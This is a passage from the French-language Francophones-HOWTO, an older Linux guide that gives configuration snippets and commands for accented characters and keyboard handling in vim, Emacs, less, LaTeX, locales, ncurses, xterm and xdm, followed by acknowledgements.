" Couleur pour xiterm, rxvt, nxterm, color-xterm :
if has("terminfo")
    set t_Co=8
    set t_Sf=\e[3%p1%dm
    set t_Sb=\e[4%p1%dm
 else
    set t_Co=8
    set t_Sf=\e[3%dm
    set t_Sb=\e[4%dm
endif

" Coloration syntaxique :
if ett_Co > 1
   syntax on
endif

" Autoriser l'édition de fichiers gzippés

augroup gzip
  " Supprimer toutes les autocommandes
  au!
  autocmd BufReadPre,FileReadPre        *.gz set bin
  autocmd BufReadPost,FileReadPost      *.gz '[,']!gunzip
  autocmd BufReadPost,FileReadPost      *.gz set nobin
  autocmd BufReadPost,FileReadPost      *.gz execute ":doautocmd BufReadPost " .  expand("%:r")

  autocmd BufWritePost,FileWritePost    *.gz !mv <afile> <afile>:r
  autocmd BufWritePost,FileWritePost    *.gz !gzip <afile>:r

  autocmd FileAppendPre                 *.gz !gunzip <afile>
  autocmd FileAppendPre                 *.gz !mv <afile>:r <afile>
  autocmd FileAppendPost                *.gz !mv <afile> <afile>:r
  autocmd FileAppendPost                *.gz !gzip <afile>:r
augroup END

augroup bzip
  au!
  autocmd BufReadPre,FileReadPre        *.bz2 set bin
  autocmd BufReadPost,FileReadPost      *.bz2 '[,']!bunzip2
  autocmd BufReadPost,FileReadPost      *.bz2 set nobin
  autocmd BufReadPost,FileReadPost      *.bz2 execute ":doautocmd BufReadPost " .  expand("%:r")
  autocmd BufWritePost,FileWritePost    *.bz2 !mv <afile> <afile>:r
  autocmd BufWritePost,FileWritePost    *.bz2 !bzip2 <afile>:r

  autocmd FileAppendPre                 *.bz2 !bunzip2 <afile>
  autocmd FileAppendPre                 *.bz2 !mv <afile>:r <afile>
  autocmd FileAppendPost                *.bz2 !mv <afile> <afile>:r
  autocmd FileAppendPost                *.bz2 !bzip2 <afile>:r
augroup END

augroup cprog
  au!
  autocmd BufRead *       set formatoptions=tcql nocindent comments&
  autocmd BufRead *.c,*.h set formatoptions=croql cindent comments=sr:/*,mb:*,el:*/,://
augroup END

6.12 Emacs

Voici un fichier de configuration de base pour employer les accents.

  ;;
  ;; Fichier .emacs: initialisation d'emacs
  ;; Tiré du Guide du Rootard
  ;;

  (display-time)                     ;; Pour avoir l'heure dans la barre d'état
  (setq display-time-24hr-format t)  ;; Format 24 heures

  ;; Nouveaux modes
  (autoload 'c++-mode   "cplus-md" "C++ Editing Mode" t)
  (autoload 'perl-mode   "perl-mode" "Perl Editing Mode" t)
  (autoload 'c-mode "c-mode" "C Editing Mode" t)
  ; mieux vaudrait utiliser le "cc-mode"

  (autoload 'jargon-mode "jargon" "Jargon Mode" t)

  ;; Auto-Mode Settings : positionne le mode selon l'extension
  (setq auto-mode-alist
  (append '(("\.c$"  . c-mode)    ;; utilise le mode C++ même pour C
  ("\.h$"  . c-mode)
  ("\.C$"  . c++-mode)
  ("\.H$"  . c++-mode)
  ("\.cc$" . c++-mode)
  ("\.C$"  . c++-mode)
  ("\.pl$" . perl-mode)           ;; Perl
  ("/tmp/snd\.[0-9]*" . text-mode);; Text (pour le courriel)
  ("[Rr][Ee][0-9]*" . text-mode)
  ("\.ada$"  . ada-mode)          ;; Ada
  ("\.spec$"  . ada-mode)
  ("\.body$"  . ada-mode)
  ("makefile$" . makefile-mode)  ;; Makefile
  ("Makefile$" . makefile-mode)
  ("Imakefile$" . makefile-mode))
  auto-mode-alist))

  ; Remappages variés à mettre ici
  (global-set-key "\eg" 'goto-line)       ;; ESC G = Aller à une ligne

  (put 'eval-expression 'disabled nil)

  ;; Accents...
  (standard-display-european 1)
  (load-library "iso-syntax")
  (set-input-mode (car (current-input-mode))
                (nth 1 (current-input-mode))
                0)

  ;; Sous X-Window, texte en couleurs (C/C++/Shell/Makefile,etc)
  (cond (window-system
  (setq hilit-mode-enable-list  '(not text-mode)
  hilit-background-mode   'light
  hilit-inhibit-hooks     nil
  hilit-inhibit-rebinding nil)
  (require 'hilit19)
  ))
  (if (not (equal window-system ""))
  (global-set-key "\C-?" 'delete-char))
  ))

Le Keyboard-HOWTO conseille quand à lui :

          (standard-display-european t)
          (set-input-mode nil nil 1)
          (require 'iso-syntax)
          (load-library "iso-insert.el")
          (define-key global-map [?\C-.] 8859-1-map)

Utilisez une version au moins égale à 19.27, modifiez le fichier global (commun à tous les utilisateurs) /usr/lib/emacs/site-lisp/site-start.el ou le ./emacs de chaque utilisateur concerné pour y ajouter :

        (standard-display-european t)
        (set-input-mode (car (current-input-mode))
          (nth 1 (current-input-mode))
          0)
        (global-set-key [delete]   'delete-char)
        (global-set-key [home]     'beginning-of-line)
        (global-set-key [end]      'end-of-line)
        (global-set-key [prior]    'scroll-down)
        (global-set-key [next]     'scroll-up)
        (global-set-key [C-right]  'forward-word)
        (global-set-key [C-left]   'backward-word)
        (global-set-key [C-prior]  'beginning-of-buffer)
        (global-set-key [C-next]   'end-of-buffer)
        (global-set-key "\033[A"  'previous-line)
        (global-set-key "\033[B"  'next-line)
        (global-set-key "\033[C"  'forward-char)
        (global-set-key "\033[D"  'backward-char)
        (global-set-key "\033[H"  'beginning-of-line)
        (global-set-key "\033[Y"  'end-of-line)
        (global-set-key "\033[1~" 'beginning-of-line)
        (global-set-key "\033[2~" 'overwrite-mode)
        ;; le delete-char peut correspondre à \004 ou à \033[3~
        (global-set-key "\033[3~" 'delete-char)
        (global-set-key "\033[4~" 'end-of-line)
        (global-set-key "\033[5~" 'scroll-down)
        (global-set-key "\033[6~" 'scroll-up)

Pour les autres versions :

  • 19.19 :
            (standard-display-european 1)
        (set-input-mode (car (current-input-mode))
          (nth 1 (current-input-mode))
          0)
    Lire à ce propos le fichier emacs.info.
  • 19.22 :
            (load-library "iso-transl")
        (standard-display-european t)
  • Autres :
            (standard-display-european 1)
        (load-library "iso-transl")

XEmacs les accepte lui par défaut sans broncher mais peut des fois rencontrer des problèmes avec les BackSpaces dans le mini-buffer en console.

Ajouter dans le .emacs :

(if (eq window-system 'x)
    (global-set-key (read-kbd-macro "DEL") 'delete-char)
  (or (global-set-key "^[[3~" 'delete-char))
)

Le mode ispell d'emacs a un certain nombre de dictionnaires prédéfinis qui ne sont pas forcement ceux qui sont en place sur le système.

Si vous constatez des problèmes, vous devez redéfinir la liste ispell-dictionary-alist des dictionnaires.

Cette liste contient :

  • le nom du dictionnaire
  • la liste des caractères composant un mot
  • la lise opposée des caractères ne composant pas un mot
  • les caractères de liaison à l'intérieur des mots ("-", "'"...)
  • vrai ou faux si ces caractères peuvent être présents en plusieurs exemplaire dans le mot
  • une liste d'arguments pour ispell
  • le mode d'ispell (tex, nroff..)

Par exemple, dans le fichier .emacs :

(setq ispell-dictionary-alist
 '((nil  ; francais.aff
  "[A-Za-zÀÂÇ-ËÎÏÔÙÛÜàâç-ëîïôùûü]" "[^A-Za-zÀÂÇ-ËÎÏÔÙÛÜàâç-ëîïôùûü]"
  "[---']" nil ("-n") "~nroff")
 ("english"  ; rosbif
  "[A-Za-z]" "[^A-Za-z]" "[---']" nil ("-B") nil)
 ("american" ; yankee
  "[A-Za-z]" "[^A-Za-z]" "[---']" nil nil nil)
 ("francais" ; français
  "[A-Za-zÀÂÇ-ËÎÏÔÙÛÜàâç-ëîïôùûü]" "[^A-Za-zÀÂÇ-ËÎÏÔÙÛÜàâç-ëîïôùûü]"
  "[---']" nil ("-n") "~nroff")
 ("francais-TeX" ; français
  "[A-Za-zÀÂÇ-ËÎÏÔÙÛÜàâç-ëîïôùûü\\]" "[^A-Za-zÀÂÇ-ËÎÏÔÙÛÜàâç-ëîïôùûü\\]"
  "[---'^`\"]" t nil "~tex")
 ("espanol" ; espa~nol.aff
  "[A-Za-záéíóúüñÁÉÍÓÚÜÑ]" "[^A-Za-záéíóúüñÁÉÍÓÚÜÑ]"
  "[---'^`\"]" t nil "~nroff")
 ("dansk" ; danois et norvégien
  "[A-Za-zåÅøØæÆéÉèÈ]" "[^A-Za-zåÅøØæÆéÉèÈ]"
  "[---'^`\"]" t nil "~nroff")
 ))

Le dictionnaire "francais-TeX" est un lien symbolique sur "francais" qui permet d'ajouter une entrée pour les accents à la TeX (ex: \'e).

Si vous utilisez X11, vous voudrez peut-être reconstruire les menus et il vous faudra recharger une partie de lisp/loaddefs.el dans votre .emacs :

(setq ispell-menu-map nil)

  (if ispell-menu-map-needed
  (let ((dicts (reverse (cons (cons "default" nil) ispell-dictionary-alist)))
    name)
    ;; Can put in defvar when external defines are removed.
    (setq ispell-menu-map (make-sparse-keymap "Spell"))
    (while dicts
  (setq name (car (car dicts))
    dicts (cdr dicts))
  (if (stringp name)
  (define-key ispell-menu-map (vector (intern name))
    (cons (concat "Select " (capitalize name))
  (list 'lambda () '(interactive)
    (list 'ispell-change-dictionary name))))))))

  (if ispell-menu-map-needed
  (progn
    ;; Define commands in opposite order you want them to appear in menu.
    (define-key ispell-menu-map [ispell-change-dictionary]
  '("Change Dictionary" . ispell-change-dictionary))
    (define-key ispell-menu-map [ispell-kill-ispell]
  '("Kill Process" . ispell-kill-ispell))
    (define-key ispell-menu-map [ispell-pdict-save]
  '("Save Dictionary" . (lambda () (interactive) (ispell-pdict-save t))))
    (define-key ispell-menu-map [ispell-complete-word]
  '("Complete Word" . ispell-complete-word))
    (define-key ispell-menu-map [ispell-complete-word-interior-frag]
  '("Complete Word Frag" . ispell-complete-word-interior-frag))
    (define-key ispell-menu-map [ispell-continue]
  '("Continue Check" . ispell-continue))
    (define-key ispell-menu-map [ispell-region]
  '("Check Region" . ispell-region))
    (define-key ispell-menu-map [ispell-word]
  '("Check Word" . ispell-word))
    (define-key ispell-menu-map [ispell-buffer]
  '("Check Buffer" . ispell-buffer))
    (define-key ispell-menu-map [ispell-message]
  '("Check Message" . ispell-message))
    (define-key ispell-menu-map [ispell-help]
  '("Help" . (lambda () (interactive) (describe-function 'ispell-help))))
    (put 'ispell-region 'menu-enable 'mark-active)))

  (fset 'ispell-menu-map (symbol-value 'ispell-menu-map))

6.13 less

/etc/profile ou les fichiers de démarrage du shell (comme .bashrc et .bash_profile dans votre répertoire maison) doivent contenir :

export LESSCHARSET=latin1

Comme fichier .lessrc je vous recommande :

\e[B    forw-line
\e[A    back-line
\e[6~   forw-scroll
\e[5~   back-scroll
\e[1~   goto-line
\e[4~   goto-end
\e[C    next-file
\e[D    prev-file
\eOA    back-line
\eOB    forw-line

Pour rentrer un Esc (parfois nommé Échap) taper « \e » ou, sous vi, mettez vous en mode insertion avec i puis tapez « ctrl+v » et enfin « Esc ».

Ce fichier permet d'utiliser les touches « Home », « End », « Page_Up » & « Page_Down ».

Pour s'en servir, taper :

lesskey -o .less .lessrc

N'oubliez pas de mettre le fichier .less dans votre répertoire maison : il permet d'employer les touches fléchées, « Page_Up », « Page_Down », « Home » et « End ».

Ne pas négliger la page de manuel de less car il peut être intéressant de changer la valeur de sa variable d'environnement de configuration ("LESS").

J'utilise : '-C -M -i -x2'

6.14 ls

Utilisez les options :

-N --color=auto

ou, plus simplement, définissez dans les fichiers de démarrage de votre shell les alias suivants permettant de voir les fichiers dont le nom comprend des caractères 8 bits :

alias ll="ls --color=auto -N -l -a"
alias d="ls --color=auto -N"

Un simple d remplacera le classique ls, en y ajoutant la couleur, alors que ll vous offrira une liste complète de tous les fichiers présents dans le répertoire, avec leurs attributs, leurs tailles...

--color=auto est préférable car --color=yes fera avoir des codes escape lorsqu'on redirige vers un fichier ou un programme où si le terminal ne supporte pas la couleur.

6.15 flex

Donnez l'option :

-8

si l'analyseur généré doit accepter les entrées 8-bits (bien sûr qu'il doit le faire !).

6.16 elm

Rajoutez ces trois lignes dans votre .elm/elmrc :

  charset = iso-8859-1
  displaycharset = iso-8859-1
  textencoding = 8bit

6.17 col

Assurez-vous :

1) qu'il a été corrigé et fasse un

setlocale(LC_CTYPE,"");

2) de définir

LC_CTYPE=ISO-8859-1

dans l'environment.

6.18 rlogin

Utilisez l'option :

-8

6.19 joe

Utiliser joe 2.8 ou plus récent qui devraient fonctionner après édition du fichier de configuration : placer l'option -asis dans /usr/lib/joerc en première colonne.

6.20 TeX et LaTeX

Le plus simple consiste à employer GuTemberg, une distribution de LaTeX avec tous les défauts réglés pour des francophones par des francophones !

Mais si vous préférez une version standard non modifiée, il suffit d'ajouter au début de chaque fichier :

  • Pour LaTeX:
    \documentstyle[isolatin]{article}
  • Pour LaTeX2e:
    \documentclass[12pt,a4paper]{letter}
\usepackage{isolatin1}
\usepackage[french]{babel}
\usepackage{t1enc}
    ou alors :
    \usepackage[latin1]{inputenc}
\usepackage[T1]{fontenc}

Au cas où votre distribution soit trop vieille pour l'inclure, isolatin.sty est disponible séparément

Pour gs et xdvi, il faut utiliser des options spéciales (sur ma machine, ce sont des alias). En effet, ils sont souvent configurés pour un papier états-unien dit « légal », de taille proche, mais non exactement égale, à celle du standard « A4 ».

Ces options sont les suivantes :

gs -sPAPERSIZE=a4 xdvi -paper a4 ghostview -a4

Pour que dvips convertisse les documents dans un format papier a4, il faut spécifier dans le fichier config.ps (le chemin varie en fonction des versions de LaTeX) : /usr/lib/texmf/dvips/config.ps ou .dvipsrc

@ a4 210mm 297mm @+ ! %%DocumentPaperSizes: a4 @+ %%PaperSize: a4 @+ %%BeginPaperSize: a4 @+ a4

Sinon ajoutez à votre .Xresources :

XDvi.paper:             a4
Ghostview.pageMedia:    A4

6.21 Manuel

Tout d'abord, il faut vous procurer les pages de manuel Linux traduites en français

Si vous utilisez une distribution RedHat ou Debian, celles-ci sont présentes sur le cédérom : il suffit de les sélectionner lors de l'installation.

De là, deux possibilités :

  • soit vous ne voulez que des manuels en Français, auquel cas il faut faire un :
    export MANPATH=/usr/man/fr_FR
    NB: fr_FR se remplace par fr_BE, fr_CA, fr_CH ou fr_LU selon le pays concerné.
  • soit vous préférez par défaut des manuels en Français et si la page n'existe pas, vous vous rabattez vers l'Anglais, il suffira alors de taper :
    export LANG=fr

man ira chercher dans le « MANPATH » des pages en « LANG » par défaut et se rabattra sinon sur des pages en anglais.

Si vous désirez installer la page de manuel expliquant la norme ISO 8859-15 latin 9, il faut installer le fichier iso_8859_15.7.gz :

cp standard/iso_8859_15.7.gz /usr/local/man/man7/

6.22 Correcteur orthographique ispell

Vous pouvez vous le procurer sur le site original d'Hydro Québec ou sur le mirroir du lip6

Un fichier LISEZMOI explique pas à pas et en Français l'installation.

6.23 Les claviers 105 touches

Aussi appelés « claviers Microsoft (tm) », ils ont trois touches de plus que les claviers normaux.

Comment s'en servir ?

En mode console, éditer french.map et décommenter les lignes en parlant !

De même pour french (pour Xwindow).

6.24 PGP

Attention, dans certains pays totalitaires, l'utilisation de logiciels de cryptographie est considérée comme usage d'armes de guerre, ce qui est punissable par la loi !

Sautez donc ce paragraphe si votre législation locale ne permet pas d'utiliser des logiciels de cryptographie.

Premièrement, il faut se procurer pgp-international (à cause de problèmes de patentes et de législation sur l'export d'armes de guerre, il existe pgp-us et pgp-international, ce dernire étant doté d'un algorithme encore plus puissant) sur le site norvégien de PGP

Ensuite, mettre dans votre répertoire maison, dans un sous répertoire .pgp les fichiers :

config.txt
language.idx
pgpdoc1.txt
pgpdoc2.txt
language.txt
fr.hlp
en.hlp
pgp.hlp

Enfin, éditer le fichier .pgp/config.txt pour y rajouter :

Language = fr
CharSet = latin1

Lisez ensuite .pgp/fr.hlp pour apprendre à vous servir de pgp !

6.25 Impression en mode ascii

Pour l'impression de texte simple, beaucoup d'imprimantes attendent des lettres en codage IBM (cp850) comme sous MS DOS.

Si le fichier est codé en latin1, on doit utiliser « recode latin1:ibmpc » (à placer dans les filtres lpr de /etc/ par exemple), sous peine de voir imprimer des « alpha » à la place de « à », et autres choses du même genre.

Il existe d'autres utilisation au programme recode : « ibmpc:lat1 » ou « lat1:ibmpc » (de ou vers MS-DOS) ou « applemac » pour Macintosh (tm).

6.26 Unicode/latin/cp... je n'ai pas compris ce dernier paragraphe !

Voici donc plus d'explications grâce à Pablo Sartxaga (srtxg à chanae.alphanet.ch) dans un message explicant la différence Unicode/latin/cp :

 DB>   quand on lance « setfont » sans argument
 DB>   il semble qu'on obtienne le même effet que setfont -u none

Normal et logique.

 DB>   --> en un mot la table de conversion « Unicode » est désactivée
 DB>       ce qui transforme le « e accent aigü (dec 130) » en « théta (dec 233) »

Non. Il ne transforme rien du tout, il affiche tout simplement sans
*aucune* transformation au contraire, à toi de t'assurer que la police
que tu charges possèdes les glyphes à la bonne place par rapport au codage
de caractères que tu utilises (iso-8859-1).

Autrement dit si ta police n'est pas iso-8859-1 tu dois dire à setfont de
faire des mappings; en particulier s ic'est une police qui utilise l'encodage
DOS cp437 tu fais « setfont -u cp437 nomdelapolice ». Moi par exemple j'aime
beaucoup la police « t.fnt » de la Slackware, et j'ai donc quelque part
dans /etc/rc.d/* une ligne « setfont -u cp437 t.fnt »

Ou alors tu modifies la police (il y a un logiciel qui fait cela avec
interface svgalib, et un autre nommé « chedit » qui permet de créer des
images an ascii-art, un fichier par caractère (256 fichiers donc), il te
suffit alors de jongler avec les fichiers pour les changer de place et
régénerer la police).  Note cependant que le codage cp437 n'inclut pas
tous les caractères de iso-8859-1, notamment manquent quasi toutes les
majuscules accentuées, et les lettres ãõ nécessaires en portugais. Tu
peux toujours modifier la police pour créer ces caractères manquants.

 DB>   sur ma Slackware 3.2, à aucun moment setfont n'apparaît dans les scripts
 DB>   de démarrage ni dans les ~/profiles et autres ~/.bashrc

Donc c'est la police dans la ROM de la carte video qui est utilisée.

 DB>   et pourtant cette
 DB>   conversion est effectuée correctement puisque j'ai les accents à l'écran.

Je suppose que le kernel présuppose (à juste titre) que la police en ROM vidéo
est au codage cp437.

 DB>        une fois que je lance « setfont -u none » je perds donc les accents.

Normal, car dès lors que tu charges une police tu est supposé savoir ce que
tu veux (au contraire de la police en ROM où tu n'as pas le choix).

Autrefois (du temps des 1.2.* et avant) le défaut de setfont était cp437
(et il n'utilisait pas encore des tables Unicode, mais on pouvait
changer par \e(B et \e(K entre codage cp437 et iso (on peut toujours
d'ailleurs)), mais maintenant le défaut est « straight to font », pas de
conversion.

 DB>            j'en conclue que Linux utilise la police résidente par défaut de
 DB>            la carte EGA/VGA

 DB>        [Q] --> comment retrouver cette police ?

Il y a un programme nommé « restoretextmode » qui est assez populaire
auprès des possesseurs de certaines cartes graphiques chez qui le
passage X11 -> console bousille les polices; il permet de faire un dump
sur un fichier; il faudrait donc que tu le lances avant de modifier la
police avec setfont. Le paquetage s'appelle quelque chose comme
SVGATextMode ou quelque chose d'approchant.

 DB>     [Q] --> quelle table appeler pour la remapper et ravoir les accents ?

setfont -u cp437 policedos

Ou sinon, si tu ne veux pas lancer setfont et tu veux donc garder la
police de la carte graphique; essaye un « echo -e \033(B » (l'ennuyant
c'est que tu dois le faire dans chaque console)

 DB>                 (en général setfont -u def.uni (par exemple) renvoie une
 DB>                  erreur : PIO_UNIMAPCLR: Invalid argument et je reste
 DB>                  en caracteres « graphiques »)

Ah ? Chez moi ça marche; quels kernel et kbd as-tu ?

Sinon je te conseille « cp437 » plutôt que « def », ils font _presque_ la même
chose, mais « cp437 » est visuellement plus agréable car il remplace les
caractères non présents dans la police par les lettres non accentuées si c'est
des lettres, C pour © et R pour ® et par un carré blanc pour le reste, ce qui
permet de garder le formatage et la lecture agréables; « def » lui ne mets
totu simplement rien pour les caractères manquants, si bien que tu te
trouves avec des trous, ce qui est l'horreur si tu édites un texte par
exemple avec vi, puisque le curseur est affiché plusieurs caractères
à gauche à cause des caractères de largeur nulle :)

Essaye aussi la police « t.fnt », elle est assez jolie, toute en rondeurs, je la
trouve réposante, et quand je dois utiliser un PC avec les polices style
courier par défaut je trouve ça très agressif je me demande comment ils
peuvent travailler avec :)

Lire aussi les articles de news : « FAQ - les accents français et Usenet» de F. Yergeau dans les groupes fr.usenet.reponses et fr.usenet.8bits » ISO 8859-1 National Character Set FAQ» de mike (à) vlsivie.tuwien.ac.at dans comp.answers .

6.27 ncurses

Rappelons que ncurses est un librairie C qui permet de manipuler facilement l'affichage en mode console texte : fenêtrage, lignes de saisie, édition de formulaires, couleurs, caractères « ALT » ascii semi-graphique ibm, comme sous dos...

Introduction

La version standard de curses utilise le huitième bit pour la vidéo inversée (voir le flag _STANDOUT défini dans /usr/include/curses.h). Cependant, ncurses semble fonctionner en 8-bits et affiche le iso-latin-8859-1 correctement.

Les accents

Remarque: les distributions de Linux sont livrées en général avec la version 1.9.9e de ncurses, or il se trouve que la librairie form de cette version est BUGGÉE (problèmes de rafraîchissement des fenêtres).

Ne pas utiliser la 1.9.9e donc si on veut travailler avec « form » : ce bug est d'ailleurs clairement énoncé sur le site de ncurses, et je m'étonne que ce soit justement cette version qui soit encore livrée sur la plupart des distributions (RedHat 4.2, 5.0, 5.1, Slackware 3.2, Debian 1.9) en tout cas.

Symptôme : la fonction wgetch() de ncurses renvoie les codes suivants :

  • je tape 'é' et wgetch retourne « meta-i » code 233 (decimal)
  • " " 'è' " " " « meta-h » code 234 (decimal)
  • etc

C'est normal avec les polices iso-8859-1 !

Il faut installer les « locales » ou mettre à jour sa version de ncurses.

6.28 Perl

Si tout d'un coup après une mise à jour il raconte :

(guylhem@victis:guylhem)$ perl
perl: warning: Setting locale failed for the categories:
        LC_CTYPE LC_COLLATE
perl: warning: Please check that your locale settings:
        LC_ALL = "fr_FR",
        LC_CTYPE = "ISO-8859-1",
        LC_COLLATE = (unset),
        LANG = "fr"
    are supported and installed on your system.
perl: warning: Falling back to the "C" locale.
(guylhem@victis:guylhem)$

En libc6 le format des fichiers binaires de définition des locales a (encore) changé : il faut les régénérer à partir des sources sources WG15collection.tar.gz par exemple et des programmes « locale » et « localedef » qui sont fournis dans les sources de la libc.

Sinon on peut également se passer des locales :

     unset LANG
     unset LC_CTYPE
     unset LC_COLLATE
     export LC_ALL=fr_FR.ISO-8859-1

6.29 Installer les locales

Les « locales » sont des fichiers qui vont modifier le comportement de certains programmes pour qu'ils s'adaptent aux « spécificités culturelles du pays ».

Cela sert à résoudre les erreurs rapportées par perl ou une mauvaise gestion des accents par ncurses.

  • récupérer pour la libc5 la collection de locales POSIX
  • ou pour la libc6, elle est dans l'ajout « glibc-localedata »
  • copier dans le répertoire /usr/share/locale les fichiers fr_FR et en_DK (qui est inclus dans fr_FR)
  • créer le répertoire /usr/share/i18n/charmap et copier le fichier ISO_8859-1:1987
  • faire man localedef et lancer la commande :
              localedef -f ISO_8859-1:1987 -i fr_FR fr
    Ceci créera l'entrée fr dans /usr/share/locale soit :
            /usr/share/locale/fr
    Ce répertoire devrait maintenant contenir les fichiers :
             LC_COLLATE
         LC_CTYPE
         LC_MESSAGES
         LC_MONETARY
         LC_NUMERIC
         LC_TIME
  • lire le fichier « locale.fr » que l'on peut trouver sur le serveur ftp.lip6.fr (chercher sous doc, linux...) et dont la traduction française a été faite par Éric DUMAS (hélas ce doc ne traite principalement que de LC_MESSAGES. À quand la suite Éric ? ;-) )
  • compléter éventuellement l'initialisation des variables du shell comme décrit dans la section sur bash ou tcsh
  • dans un programme, utilisez la fonction setlocale() (man setlocale.3) pour fixer les paramètres locaux CAR le noyau linux initialise toujours cette fonction avec l'argument une locale « C » (POSIX) donc sans accents !
              setlocale(LC_CTYPE,"fr_FR");
  • Ça y est ! Les accents sont disponibles dans ncurses.

Midnight Commander (mc)

En changeant de police, il peut arriver que les lignes de cadre soient remplacées par divers caractères.

2 possibilitées :

  • La police chargée ne dispose pas de caractères dits « semi graphiques », qui permettent de dessiner des cadres
  • Il y a discordance entre la police et sa table de mappage

Pour le premier cas, la seule solution est de changer de police, mais dans le second cas, il suffit en général de charger la table avec loadunimap par exemple :

          loadunimap lat1u.uni
          loadunimap lat5u.uni
          loadunimap lat9u.uni

6.30 Kernel

Pour mettre un support pour le clavier français directement dans le kernel, ce qui est pratique pour les systèmes embarqués ou ne démarrant que sur disquettes, afin de gagner le maximum de place :

/usr/bin/loadkeys loadkeys --mktable votre-table-de-clavier.map > /usr/src/linux/drivers/char/defkeymap.c

6.31 Lilo

Depuis la version 20, on peut spécifier un clavier (français, par exemple) au démarrage de LILO.

Bien sur, cela ne fait qu'échanger quelques touches (a/q,m/:,... pour un clavier fr) mais cela est assez utile lorsque l'on veut taper « win ».

Je vous conseille toutefois de ne pas faire de label utilisant des touches qui diffèrent entre l'AZERTY et le QWERTY, ne serait-ce que si vous devez avoir un jour un autre utilisateur sur votre ordinateur...

Il est plus simple de faire des labels courts et d'utiliser des programmes comme GAG ou GRUB, remplaçant fort avantageusement les lignes de lilo par un magnifique menu graphique dans le cas de GAG.

6.32 Groff (man)

Sur certaines distributions, le programme man n'est pas configuré pour afficher les accents.

Si vous rencontrez ce problème, éditez son fichier de configuration (/etc/man.config sur les distributions actuelles) et localisez une ligne ressemblant à cela :

NROFF           /usr/bin/groff -Tascii -mandoc

Remplacez-là par :

NROFF           /usr/bin/groff -Tlatin1 -mandoc

Les vieilles versions de man utilisent aussi col, et le point suivant s'applique aussi.

6.33 Divers

Une belle discussion sur le thème de l'ISO-8859-1 et sur « comment manipuler les caractères 8-bits » est disponible


Le Francophones-HOWTO : Linux & la langue française: Réglage du clavier pour les applications X

 Next Previous Contents

7. Réglage du clavier pour les applications X

7.1 Les xterminaux (xterm, nxterm, rxvt...)

Les faire fonctionner avec toutes les touches standard du clavier 102 touches relève du miracle, quant aux accents, seule une recompilation vous permettra de les utiliser !

Pour xterm, essayez de mettre dans votre .Xdefaults :

XTerm*eightBitInput: true
XTerm*eightBitOutput: true
*customization: -color
XTerm*VT100*Translations: #override\n\
XTerm*pointerColor: red
None<Key>Begin: string(0x1b) string("[1~")\n\
None<Key>End: string(0x1b) string("[4~")\n\
None<Key>Prior: scroll-back(1,halfpage)\n\
None<Key>Next: scroll-forw(1,halfpage)\n\
Shift<Key>Prior: scroll-back(1,page)\n\
Shift<Key>Next: scroll-forw(1,page)
XTerm*fontMenu*fontdefault*Label: Default
XTerm*VT100*font: 9x15
XTerm*fontMenu*font1*Label: Illisible
XTerm*VT100*font1: nil2
XTerm*fontMenu*font2*Label: Minuscule
XTerm*VT100*font2: 5x7
XTerm*fontMenu*font3*Label: Petit
XTerm*VT100*font3: 6x10
XTerm*fontMenu*font4*Label: Normal
XTerm*VT100*font4: fixed
XTerm*fontMenu*font5*Label: Moyen
XTerm*VT100*font5: 7x13
XTerm*fontMenu*font6*Label: Tres grand
XTerm*VT100*font6: 10x20

Dans .inputrc :

# pour rxvt
"\e[7~":beginning-of-line
"\e[8~":end-of-line
# pour xterm
"\e[H": beginning-of-line
"\e[F": end-of-line

Mais ces deux solutions ne vous garantissent pas de résoudre tous les problèmes de rxvt et de xterm ...

Pour les résoudre sans créer de fichiers dans /usr/X11R6/lib/X11/app-defaults, je tiens sinon à votre disposition un xiterm, un terminal X supportant *TOUTES* les touches des claviers standard, avec Home, End, Page_Up (...) et même le pavé numérique, fonctionnant comme en mode console, i.e. Shift-Page_Up permettant de faire défiler une page, voire mieux : le pavé numérique reconnaissant enfin la différence entre Verr. Num allumé et Verr. Num éteint.

X international terminal (xiterm pour les intimes) est bien sûr sous GPL et mis à jour pour suivre parallèlement l'évolution de rxvt.

Sur par exemple mon site vous trouverez donc xiterm, qui remplace votre xterm classique en y apportant la couleurs, les accents et les touches étendues.

Pour l'installer, compilez-le, devenez root et tapez :

rm /usr/X11R6/bin/xterm
rm /usr/X11R6/lib/X11/app-defaults/xterm
rm /usr/X11R6/lib/X11/app-defaults/rxvt
rm /usr/X11R6/lib/X11/app-defaults/Xterm
rm /usr/X11R6/lib/X11/app-defaults/XTerm
rm /usr/X11R6/lib/X11/app-defaults/Rxvt
rm /usr/X11R6/lib/X11/app-defaults/RXvt
cp xiterm /usr/local/bin

ln -sf /usr/local/bin/xiterm /usr/X11R6/bin/xterm
ln -sf /usr/local/bin/xiterm /usr/X11R6/bin/rxvt

7.2 Les applications Motif

Là, je n'ai malheureusement aucun remède miracle !

Il faudrait modifier le code source, code indiqué plus haut, pour remplacer XLookupString par XmLookupString.

Utilisez les possibilités du fichier french au lieu des touches mortes (AltGr (voyelle) : voyelle accent circonflexe... ) !

7.3 Le manuel

Pablo Saratxaga tient à votre disposition un xman modifié pour qu'il supporte la variable « LANG » et puisse afficher les pages en d'autres langues qu'anglais.

Il est disponible sur le lip6 en sources ou en binaires

7.4 NumLock

Pour l'activer sous X, mettre en commentaire ServerNumLock dans la section keyboard de XF86Config, puis rajouter au dessous Xleds 2, ce qui allumera la led.

Attention, ce conseil ne s'applique que lorsque l'on n'utilise pas xkb, i.e. qu'on met XkbDisable dans XF86Config...

7.5 XDM

/etc/X11/xdm/Xresources sert à ne rencontrer aucun problème avec les touches « spéciales » (Home, End ...) sous X.

xlogin*login.translations: #override\
      Ctrl<Key>R: abort-display() \n\
      <Key>BackSpace: delete-previous-character() \n\
      <Key>Home: move-to-begining() \n\
      <Key>Delete: delete-character() \n\
      <Key>End: move-to-end() \n\
      <Key>Left: move-backward-character() \n\
      <Key>Return: set-session-argument() finish-field() \n\
      <Key>Right: move-forward-character()


Le Francophones-HOWTO : Linux & la langue française: Remerciements

 Next Previous Contents

8. Remerciements

Ce document ne serait pas ce qu'il est sans l'aide de Nat Makarévitch (nat à nataa.fr.eu.org) qui l'a relu et m'a aidé à le modifier de nombreuses fois.

Un excellent document plus générique, traitant de l'installation par ex, est le Guide du Rootard, disponible sur freenix ou le lip6

Remercions enfin par ordre alphabétique ces contributeurs :

Jean-Michel Antoine
Michel Billaud
Chmouel Boudjnah
Stephane Bortzmeyer
Denis Braussen
Rémy Card
Julien Cassaigne
Xavier Cazin
Laurent Chemla
René Cougnenc
Bruno Cornec
Yann Dirson
Éric Dubreuil
Éric Dumas
Arnaud Gomes-do-Vale
Pierre Ficheux
Laurent Frigault
Hugolino
Antoine Leca
Frederic Lepied
Jeannot Langlois
Stephane Marzloff
Marc Merlin
